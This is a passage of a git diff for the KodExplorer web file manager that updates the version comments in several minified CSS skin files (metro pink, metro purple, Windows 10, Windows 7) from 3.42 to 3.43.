a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.42(2017-04-07) [build 1491589357.1075] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.9578] */ \ No newline at end of file diff --git a/static/style/skin/metro_pink.css b/static/style/skin/metro_pink.css index 3fe8ce9..2143ef7 100755 --- a/static/style/skin/metro_pink.css +++ b/static/style/skin/metro_pink.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.0751] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.927] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#DC4FAD;color:#fff;}body#page_desktop .topbar{background-color:rgba(220,79,173,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(220,79,173,0.3);}body .topbar{background:#DC4FAD;}body .topbar .content .topbar_menu{border-color:#df5cb3;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#e26dbb;border-color:#e26dbb;}body .aui_outer{*border:1px solid #DC4FAD;border:1px solid #DC4FAD \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#DC4FAD;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#DC4FAD;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#e064b7;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#e98fcb;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#e47ac1;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#e98fcb;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #7a1859;background-color:#DC4FAD;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#DC4FAD;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #e064b7 !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#d83aa3;}body #body .menu_left,body #body .app_menu_left{background:#d83aa3;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#df5cb3;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#e064b7;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#DC4FAD;border:1px solid #DC4FAD;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.42(2017-04-07) [build 1491589357.0751] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.927] */ \ No newline at end of file diff --git a/static/style/skin/metro_purple.css b/static/style/skin/metro_purple.css index 8a43ea5..9515b05 100755 --- a/static/style/skin/metro_purple.css +++ b/static/style/skin/metro_purple.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.0429] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.8954] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#8D3CC4;color:#fff;}body#page_desktop .topbar{background-color:rgba(141,60,196,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(141,60,196,0.3);}body .topbar{background:#8D3CC4;}body .topbar .content .topbar_menu{border-color:#9448c8;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#9d57cc;border-color:#9d57cc;}body .aui_outer{*border:1px solid #8D3CC4;border:1px solid #8D3CC4 \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#8D3CC4;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#8D3CC4;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#9850ca;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#af77d6;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#a463d0;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#af77d6;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #39184f;background-color:#8D3CC4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#8D3CC4;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #9850ca !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#7f36b1;}body #body .menu_left,body #body .app_menu_left{background:#7f36b1;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#9448c8;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#9850ca;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#8D3CC4;border:1px solid #8D3CC4;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.42(2017-04-07) [build 1491589357.0429] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.8954] */ \ No newline at end of file diff --git a/static/style/skin/win10.css b/static/style/skin/win10.css index 2224bef..49c429f 100755 --- a/static/style/skin/win10.css +++ b/static/style/skin/win10.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589356.9262] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.7801] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_win10.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_win10_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_win10_small.png',sizingMethod='scale');height:18px !important;width:18px !important;}body .btn.btn-default{border-radius:0px;background:#fff;border-color:#ddd;}body .btn.btn-default:focus,body .btn.btn-default:hover{background-color:#e4f8ff;border-color:#aedaff;}body .btn.btn-default:active,body .btn.btn-default.active{color:#365f80;background-color:#e4f8ff;border-color:#93cfff;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#eee;color:#444;}body .topbar{background:#fff;border-top:1px solid #eee;}body .topbar .content{border-bottom:1px solid #eee;}body .topbar .content .topbar_menu{border-color:#eee;color:#666;}body .topbar .content .share_title,body .topbar .content .share_info,body .topbar .content .share_info .time{color:#666;}body .topbar .content .top_right div.share_info_user{color:#666;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#eee;border-color:#eee;color:#666;}body .aui_outer{box-shadow:0px 5px 10px rgba(0,0,0,0.2);border:1px solid #bbb;border-color:rgba(0,0,0,0.2);}body .aui_outer .aui_title{background:#fff;color:#666;border-bottom:1px solid #f1f1f1;}body .aui_outer .aui_title{border-bottom:none;}body .aui_outer .aui_buttons{border-top:solid 1px #eee;background:#f8f8f8;}body .aui_outer .aui_buttons button{padding:1px 1.5em;border:1px solid #ccc;color:#222;background:#eee;}body .aui_outer .aui_buttons button:hover{background:#fbfbfb;}body .aui_outer .aui_buttons button:active{background:#e1e1e1;}body .aui_outer .aui_buttons button.aui_state_highlight{border-color:#96c7ff;box-shadow:0 0 2px #96c7ff;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{color:#111;}body .aui_outer .aui_buttons button.aui_state_highlight:active{color:#111;}body .aui_outer .aui_min{right:80px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAEUlEQVQYV2NgGGbgP5F40AMAIN0J96UZJscAAAAASUVORK5CYII=");}body .aui_outer .aui_max{right:40px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGElEQVQYlWNgYGD4TySGEATAqELiFBLEAISgI91xKgmgAAAAAElFTkSuQmCC");}body .aui_outer .aui_close{right:0px;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOUlEQVQYlWNgYGD4D8TGDLiBMVQNgzErOwcuxRhy2BTjNABZAp8tCMWEFBGtkCirifIM0cFDVIADAOrvG43QTSHZAAAAAElFTkSuQmCC");}body .aui_outer .aui_min,body .aui_outer .aui_max,body .aui_outer .aui_close{color:#888;background-position:center center;background-color:transparent;background-repeat:no-repeat;height:31px;width:40px;line-height:31px;-webkit-transition:background 0.2s;-moz-transition:background 0.2s;-o-transition:background 0.2s;-ms-transition:background 0.2s;transition:background 0.2s;}body .aui_outer .aui_min:before,body .aui_outer .aui_max:before,body .aui_outer .aui_close:before{content:"";}body .aui_outer .aui_min:hover,body .aui_outer .aui_min:active,body .aui_outer .aui_max:hover,body .aui_outer .aui_max:active,body .aui_outer .aui_close:hover,body .aui_outer .aui_close:active{color:#333;background-color:#ddd;}body .aui_outer .aui_close:hover{background-color:#e81123;color:#fff;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAOklEQVQYV2P4/+//+f/fv6cw4AAgOZAaCAMEsCjGkMOmGKcByBL4bEFVjE8R0QqJspoozxAdPMQGOABXELkNcbMs5wAAAABJRU5ErkJggg==");}body .aui_state_focus .aui_outer{box-shadow:0px 0px 20px rgba(0,140,255,0.46);border:1px solid #71b9f3;}body .copyright_dialog.dialog-simple .aui_close,body .share_dialog.dialog-simple .aui_close,body .check_version_dialog.dialog-simple .aui_close{opacity:0.6;background:rgba(0,0,0,0.4);}body .copyright_dialog.dialog-simple .aui_close:before,body .share_dialog.dialog-simple .aui_close:before,body .check_version_dialog.dialog-simple .aui_close:before{content:"\f00d";background-image:none;}body .copyright_dialog.dialog-simple .aui_close:hover,body .share_dialog.dialog-simple .aui_close:hover,body .check_version_dialog.dialog-simple .aui_close:hover{background-image:none;}body div.dialog-simple .aui_title{border-radius:0;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{background-color:rgba(255,255,255,0.8);border-radius:0;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:hover,body div.dialog-simple .aui_close:active{background-color:rgba(255,255,255,0.95);}body div.dialog-simple .aui_close{right:4px;}body div.dialog-simple .aui_close:hover,body div.dialog-simple .aui_close:active{background-color:#e81123;}body .do_search .search_desc{border-radius:0;background:#fefefe;border-bottom-color:#eee;}body .do_search .search_result{border-radius:0;}body #selContainer{border:1px solid #195694;background-color:#62a2e4;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fff;border-right:1px solid #eee;}body .frame-main .frame-left .ztree li a{margin:0 2px;border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .frame-main .frame-left .ztree li a.curSelectedNode .button.switch:after,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .button.switch:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .button.switch:after{color:inherit !important;}body .frame-main .frame-left .ztree li a span.button.switch:after{content:"\f105";font-size:16px;}body .frame-main .frame-left .ztree li a span.button.switch.noline_open:after,body .frame-main .frame-left .ztree li a span.button.switch.noline_open_hover:after{content:"\f107";font-weight:800;color:#76bdf7;}body .frame-main .frame-left .ztree li a span.button.switch.noline_docu:after{content:"";opacity:0;filter:alpha(opacity=0);}body .file_select{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body .file_hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.fileContiner .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.fileContiner .file.file2{background:#fffbf1;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.fileContiner .file.hover{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#e5f3ff;border-color:transparent;border-radius:0px;border-radius:0;filter:none;color:#335;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;background:#cce8ff;border-color:#99d1ff;border-radius:0px;filter:none;color:#335;}body div.fileContiner.fileList_list_split .file,body div.fileContiner.fileList_list .file{margin-bottom:1px;}body #main_title .filename:hover,body #main_title .filesize:hover,body #main_title .filetype:hover,body #main_title .filetime:hover,body #main_title .this{background:#e5f3ff;}body .context-menu-list{box-shadow:4px 5px 10px rgba(0,0,0,0.2);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#e1e1e1;color:#444;}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#888;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#888;}body .context-menu-list .hover > span > b{color:#888;}body #body .menu_left,body #body .app_menu_left{background:#fff;border-right:1px solid #f1f1f1;}body #body .menu_left h1,body #body .app_menu_left h1{font-weight:400;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#e6e6e6;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#e1e1e1;border-color:#ccc;}body #body .main .list{border-radius:0;}body #body .panel{margin-left:-1px;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#fff;color:#666;border-color:#ddd;border-bottom-color:#fff;}body .frame-main .frame-right .frame-right-main .tools{border-color:#eee;}body .task_tab{background:rgba(0,0,0,0.05);border-top:1px solid rgba(0,0,0,0.05);}body .task_tab .tabs .tab{border-radius:0px;box-shadow:0 0 1px #444;}body .task_tab .tabs .tab.this{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body .tasktab-dragging{box-shadow:0 0 6px #2196f3;border-color:#2196f3;}body div.tools .right .btn{background:#f3f3f3;border-radius:0;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.42(2017-04-07) [build 1491589356.9262] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.7801] */ \ No newline at end of file diff --git a/static/style/skin/win7.css b/static/style/skin/win7.css index 5c7c132..fac4a7b 100755 --- a/static/style/skin/win7.css +++ b/static/style/skin/win7.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589356.8798] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .topbar{background:url("./../../images/common/login.png") repeat-x 0px -44px;box-shadow:0 0 10px rgba(0,0,0,0.2);}body .topbar .content a.topbar_menu{border-color:#4499dd;border-color:rgba(255,255,255,0.1);}body .topbar .content a.topbar_menu.this,body .topbar .content a.topbar_menu:hover{background:#49d;background:rgba(255,255,255,0.4);border-color:rgba(255,255,255,0.1);}body .aui_border{background:url("./../../images/common/dialog/dialog.png") -200px 350px;}body .aui_state_focus .aui_title,body .aui_title{background:none;color:#444;text-shadow:0px 0px 0px #000, 0px 0px 1px #aaa, 0px 0px 4px #fff, 0px 0px 8px #fff;}body .aui_outer,body .aui_state_focus .aui_outer{border-radius:5px;text-align:left;background:url("./../../images/common/dialog/dialog.png") -100px 100px;border:1px solid #bbb;border-color:rgba(255,255,255,0.7);position:relative;box-shadow:0 0 8px rgba(0,0,0,0.5), 0 0 1px rgba(0,0,0,0.9);-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;}body .aui_state_lock .aui_outer,body .aui_state_lock .aui_state_focus .aui_outer{border:1px solid #bbb;border-color:rgba(0,0,0,0.1);}body .aui_inner{border:1px solid #ddd;background:#fff;border-color:rgba(0,0,0,0.3);}body .aui_dialog{border-radius:2px;}body .aui_border{border-radius:4px;}body .aui_nw,body .aui_ne{width:4px;height:32px;}body .aui_sw,body .aui_se{width:4px;height:4px;}body .aui_nw,body .aui_n,body .aui_ne,body .aui_w,body .aui_e,body .aui_sw,body .aui_s,body .aui_se{background:#999 \9 !important;background:#fff;opacity:0.15;filter:alpha(opacity=15);}body .aui_titleBar{width:100%;height:0;position:relative;bottom:33px;_bottom:0;_margin-top:-33px;}body .aui_min,body .aui_min:hover,body .aui_min:active{right:81px;width:27px;background:url("./../../images/common/dialog/btn-min.png") no-repeat;}body .aui_max,body .aui_max:hover,body .aui_max:active{right:54px;width:27px;background:url("./../../images/common/dialog/btn-max.png") no-repeat;}body .aui_close,body .aui_close:hover,body .aui_close:active{right:5px;width:49px;background:url("./../../images/common/dialog/btn-close.png") no-repeat;}body .aui_max,body .aui_min,body .aui_close{position:absolute;text-decoration:none;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:transparent;font-size:0px;cursor:pointer;z-index:10;top:-1px;height:19px;background-position:0 -19px;background-color:none;}body .aui_max:hover,body .aui_min:hover,body .aui_close:hover{background-position:0 -38px;}body .aui_max:active,body .aui_min:active,body .aui_close:active{background-position:0 0px;}body div.dialog-simple .aui_max,body div.dialog-simple .aui_min,body div.dialog-simple .aui_close{background-image:none;}body .dialogMax .aui_nw,body .dialogMax .aui_ne,body .dialogMax .aui_sw,body .dialogMax .aui_se,body .dialogMax .aui_w,body .dialogMax .aui_e{width:0px;}body .dialogMax .aui_sw,body .dialogMax .aui_n,body .dialogMax .aui_se{height:0px;}body .dialogMax .aui_outer{border:none;}body .dialogMax .aui_max{background:url("./../../images/common/dialog/btn-reg.png") 0 -19px;}body .dialogMax .aui_max:hover{background-position:0 -38px;}body .dialogMax .aui_max:active{background-position:0 0px;}body .aui_buttons{padding:8px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui_buttons button{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', 